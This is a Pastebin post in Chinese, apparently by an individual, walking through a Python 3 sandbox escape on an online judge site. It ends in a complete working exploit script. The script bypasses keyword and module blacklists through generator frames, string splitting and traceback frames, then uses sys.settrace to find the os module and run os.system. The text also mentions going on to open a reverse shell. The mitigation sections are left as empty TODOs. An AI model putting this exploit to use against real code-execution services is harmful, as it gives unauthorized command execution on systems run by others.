Advertisement
Guest User

Untitled

a guest
Sep 19th, 2019
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.52 KB | None | 0 0
  1. # 如何使用python3逃逸沙箱,获得进程上下文权限提升
  2.  
  3. 最近突发奇想,想对所掌握的python知识进行总结一下,目前其实还停留在python层面如何使用,还没有深入到虚拟机部分,如果下面有哪些错误,欢迎指出。
  4.  
  5. ## 背景
  6.  
  7. OJ(Online judge, 在线编程测评提交代码到后台运行检查)网站一般都允许各种各样的代码提交,其中很有可能包含python3,于是决定尝试通过python3的代码执行,进行沙箱逃逸,以及绕过各种限制。
  8.  
  9. 我随便找了一个OJ网站,这个站点的python3有如下限制
  10.  
  11. - 代码字面量不能出现一些**敏感词**,例如`open`, `os`, `read`, `globals`, `locals`, `vars`, `raise`, `getattr`, `exec`, `eval`, `compile`, 等...
  12. - 有**模块黑名单**,无法通过任何方式导入`os`, `sys`, `gc`等以及包含了他们的模块的模块(如`inspect`就包含了`sys`,所以也不能导入)
  13. - 以及一些非常变态的,不允许出现连续的两个下划线 `__`
  14. - 没有任何输出反馈,也就是`print`没作用
  15.  
  16. ## 基本前提
  17.  
  18. 在以上的限制下
  19.  
  20. - 也就是几乎没有能导入的模块了,有少部分可以但也没法用
  21. - 没有局部变量列表,没有全局变量列表
  22. - 但是可以`import marshal`,**但这对于破解不是必须的**
  23.  
  24. 我决定给自己增加一点难度,因为其实虽然看不到globals,但是python3.5之后又自己的loader机制,所以全局变量里默认是有`__loader__`这个的,可以通过这个来进入到`_imp`模块内部
  25.  
  26. - 不通过任何import语句获得模块
  27. - 不使用全局变量里的`sys`, `__loader__`(怀疑是忘记去掉了)
  28.  
  29. ## 开始
  30.  
  31. 目标: 获得当前进程的shell
  32.  
  33. 整个步骤大致如下
  34.  
  35. 1. 尝试code object
  36. 1. 获得frame object
  37. 1. 获得builtins,获得`getattr`, `open`, `__import__`等关键函数
  38. 1. 如何输出信息?
  39. 1. 产生os或sys相关的error,获取traceback对象,获取tb_frame,获取f_locals,获取sys模块
  40. 1. 使用sys.settrace,寻找os模块
  41. 1. 使用`os.system`
  42.  
  43.  
  44. ### 尝试code object
  45.  
  46. 要获得shell,很自然想到`os.system()`, `subprocess.*`, 那么如何拿到`os`?本来想通过code object的成员找到引用,但是突然意识到code并不是runtime,必须还得有`exec`或`eval`,而这两个目前只能用字面量获得,字面量有敏感词限制。
  47.  
  48. 核心的思路还是通过非字面量获得对象,那么在哪里能通过非字面量对象获取对象?自然想到了frame object
  49.  
  50. ### 获得frame object
  51.  
  52. 以下是python3里所有可以获得frame对象的地方
  53.  
  54. - [ ] `sys.settrace(lambda frame, ...)`
  55. - [ ] `threading.settrace(lambda frame, ...)`
  56. - [ ] `sys._getframe(0)`
  57. - [x] `<generator>.gi_frame`
  58. - [x] `<coroutine>.cr_grame`
  59. - [ ] `traceback.TracebackException`
  60.  
  61. 显然只有generator和coroutine不需要额外导入模块,以generator为例,python3里有各种各样的generator的
  62.  
  63. - `g = (_ for _ in ())`
  64. - `def _(): yield; g = _()`
  65.  
  66. 然后
  67.  
  68. ```python
  69. >>> g
  70. <generator object func at 0x1016c1f48>
  71. >>> g.gi_frame
  72. <frame at 0x1017d9048, file '<stdin>', line 1, code func>
  73. ```
  74.  
  75. ### 获得builtins,获得`getattr`, `open`, `__import__`等关键函数
  76.  
  77. ```python
  78. builtins = g.gi_frame.f_builtins
  79. ex_ec = builtins['ex''ec'] # 用字符串拼接绕开字面量敏感词
  80. ga = builtins['get''attr']
  81. ip = builtins['_''_im''port_''_']
  82. op = builtins['op''en']
  83.  
  84. >>> ex_ec
  85. <built-in function exec>
  86. ```
  87.  
  88. 到此为止,我们已经得到了`exec`, `getattr`, `__import__`, `open`,这几个关键函数可以解除很多限制
  89.  
  90. - `exec`: 执行任意代码
  91. - `getattr`: 读取对象任意属性
  92. - `open`: 读取文件系统
  93.  
  94. ### 如何输出信息?
  95.  
  96. 由于没有屏蔽报错信息,所以可以通过traceback信息看反馈
  97.  
  98. ```python
  99. # 假设下面是要打印的变量
  100. v = ...
  101.  
  102. # 下面调用会报KeyError
  103. _ = {}
  104. _[v]
  105. ```
  106.  
  107. ### 产生os或sys相关的error,获取traceback对象,获取tb_frame,获取f_locals,获取sys模块
  108.  
  109. 正好由于import一个被禁用的模块会报错,那我们在捕捉这个报错的时候就能拿到exception object,通过此对象可获得tb object,进一步获得tb_frame,由于是import相关的逻辑,内部一定存在sys模块,如果没有,那么顺着帧栈往上找(f_back)
  110.  
  111. ```python
  112. try:
  113. import gc
  114. except Exception as e:
  115. tb_frame = ga(e, '_''_traceback_''_').tb_frame
  116. f_loc_als = ga(tb_frame, 'f_loc''als')
  117. _s_y_s_ = f_loc_als['s''ys'] # 多数情况下都有,没有的话就在f_back里找,总会找到
  118. _s_y_s_.settrace(tracefunc)
  119. ```
  120.  
  121. ### 使用sys.settrace,寻找os模块
  122.  
  123. 有了sys模块,那就可以做更多的事情了,已知`sys.modules`里相关模块已经被去除,所以换其他办法,可以通过settrace来跟踪每一个调用,settrace本来是用作profile分析的,这个方法接受一个回调函数,python每执行一行代码、或每进入一个新函数栈都会回调一次传入的回调函数,非常暴力。
  124.  
  125. tracefunc实现很暴力也很简单,这里就直接对每一帧的globals和locals里的所有对象进行扫描判断,一旦执行到os模块相关的代码,立即会捕捉到os模块,然后也别等了,直接调用相关方法
  126.  
  127. ```python
  128. def shell(mod):
  129. return ga(mod, 'sy''stem')
  130.  
  131. def safe_repr(v):
  132. try:
  133. return repr(v)
  134. except:
  135. return ''
  136.  
  137. def make_tb_text(v):
  138. _ = {}
  139. _[v]
  140.  
  141. def tracefunc(frame, event, arg):
  142. if event == 'call':
  143. f_loc_als = ga(frame, 'f_loc''als')
  144. f_glo_bals = ga(frame, 'f_glo''bals')
  145. for scope in (f_loc_als, f_glo_bals):
  146. for k, v in scope.items():
  147. if "module 'o""s'" in safe_repr(v):
  148. #make_tb_text(v)
  149. shell(v)('ls') # 这里以ls为例
  150. return
  151.  
  152. # 租后随便import一个os相关的模块,触发上面tracefunc
  153. import gc
  154. ```
  155.  
  156. ### 使用`os.system`
  157.  
  158. 上面的代码其实已经写出了`os.system`的调用,到此为止已经可以执行任意的shell了,可以直接起一个后台进程连到某远程服务器,开启一个反弹shell。
  159.  
  160.  
  161. ## 完整code
  162.  
  163. ```python
  164. # coding=utf-8
  165.  
  166.  
  167. def func(): yield
  168. g = func()
  169. builtins = g.gi_frame.f_builtins
  170. ga = builtins['get''attr']
  171. op = builtins['op''en']
  172. ex = builtins['ex''ec']
  173. ip = builtins['_''_import_''_']
  174. ld = builtins['_''_loader_''_']
  175.  
  176.  
  177. def shell(mod):
  178. return ga(mod, 'sy''stem')
  179.  
  180. def safe_repr(v):
  181. try:
  182. return repr(v)
  183. except:
  184. return ''
  185.  
  186. def make_tb_text(v):
  187. _ = {}
  188. _[v]
  189.  
  190. def tracefunc(frame, event, arg):
  191. if event == 'call':
  192. f_loc_als = ga(frame, 'f_loc''als')
  193. f_glo_bals = ga(frame, 'f_glo''bals')
  194. for scope in (f_loc_als, f_glo_bals):
  195. for k, v in scope.items():
  196. if "module 'o""s'" in safe_repr(v):
  197. #make_tb_text(v)
  198. shell(v)('ls')
  199. return
  200.  
  201. try:
  202. o = ip('o''s')
  203. except Exception as e:
  204. tb_frame = ga(e, '_''_traceback_''_').tb_frame
  205. f_loc_als = ga(tb_frame, 'f_loc''als')
  206. _s_y_s_ = f_loc_als['s''ys']
  207. _s_y_s_.settrace(tracefunc)
  208.  
  209. import gc
  210. ```
  211.  
  212. ## 简单总结
  213.  
  214. 整个过程其实没有用到`exec`,其实也用不到,也没有通过修改importlib里的函数来绕过loader的限制,可能importlib里直接改loader就行了,但是由于我不熟悉importlib的使用,所以没往这方面尝试。
  215.  
  216. 另外由于始终避免不了少量的字面量代码,如`.gi_frame`,如果这个被设为敏感词,那么以上方法将全部失效。
  217.  
  218. 最后请大家不要模仿,这不是个学习python的正确途径
  219.  
  220.  
  221. ## 此OJ网站问题根源
  222.  
  223. // TODO
  224.  
  225. ## 如何避免
  226.  
  227. // TODO
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement